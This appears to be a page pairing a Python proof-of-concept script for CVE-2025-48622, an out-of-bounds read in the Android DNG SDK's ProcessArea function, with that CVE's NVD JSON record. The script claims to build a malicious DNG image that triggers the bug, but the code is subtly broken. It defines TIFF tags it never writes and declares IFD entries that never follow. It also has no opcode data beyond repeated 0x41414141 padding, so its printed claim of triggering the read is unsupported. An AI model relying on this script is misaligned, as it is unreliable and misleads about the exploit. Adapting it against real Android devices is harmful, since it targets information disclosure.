CVE-2025-48622

# CVE-2025-48622 PoC - Malicious DNG Image Triggering Out-of-Bounds Read # This PoC demonstrates the vulnerability in dng_misc_opcodes.cpp ProcessArea function # Note: This is a conceptual PoC for educational purposes only import struct import os def create_malicious_dng(): """ Create a malformed DNG image file to trigger the buffer overflow in ProcessArea function of dng_misc_opcodes.cpp """ # DNG header structure dng_header = bytearray() # TIFF header (little-endian) dng_header += struct.pack('<H', 0x4949) # Byte order: II (little-endian) dng_header += struct.pack('<H', 42) # Magic number dng_header += struct.pack('<I', 8) # Offset to first IFD # IFD (Image File Directory) num_entries = 12 dng_header += struct.pack('<H', num_entries) # DNG tags that trigger ProcessArea processing tags = [ (254, 4, 0), # NewSubFileType (256, 4, 1000), # ImageWidth (257, 4, 1000), # ImageLength (258, 3, [16, 16, 16, 16]), # BitsPerSample (259, 3, 1), # Compression (uncompressed) (262, 3, 1), # PhotometricInterpretation (270, 2, b"Created by PoC"), # ImageDescription (271, 2, b"Vendor"), # Make (272, 2, b"Model"), # Model (273, 4, 1000), # StripOffsets (278, 4, 1000), # RowsPerStrip (282, 5, 0), # XResolution (placeholder) ] # Craft malicious opcode data that triggers overflow # This would be processed by ProcessArea in dng_misc_opcodes.cpp malicious_opcode_data = bytearray() # Opcode that causes buffer overflow when processed # The ProcessArea function fails to validate buffer boundaries for i in range(2000): # Exceed expected buffer size malicious_opcode_data += struct.pack('<I', 0x41414141) # Padding to trigger overflow # Write the PoC file output_file = "CVE-2025-48622_poc.dng" with open(output_file, 'wb') as f: f.write(dng_header) f.write(malicious_opcode_data) print(f"[+] Created malicious DNG file: {output_file}") print(f"[+] File size: {os.path.getsize(output_file)} bytes") print("[*] When processed by Android DNG SDK, this file triggers OOB read in ProcessArea") print("[*] Attack vector: Local access, Low privileges, No user interaction required") return output_file if __name__ == "__main__": create_malicious_dng()

{"cve": {"id": "CVE-2025-48622", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:18.530", "lastModified": "2025-12-08T20:15:51.120", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In ProcessArea of dng_misc_opcodes.cpp, there is a possible out of bounds read due to a buffer overflow. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/cts/+/1bcf948f5e555ad7b9b54549698c3e569d7a0af5", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://android.googlesource.com/platform/external/dng_sdk/+/de700ad461e35af50b28b861943a0b0753b10929", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://android.googlesource.com/platform/external/skia/+/40c3f0a50fb9b47f543be0949f9004e77510f494", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}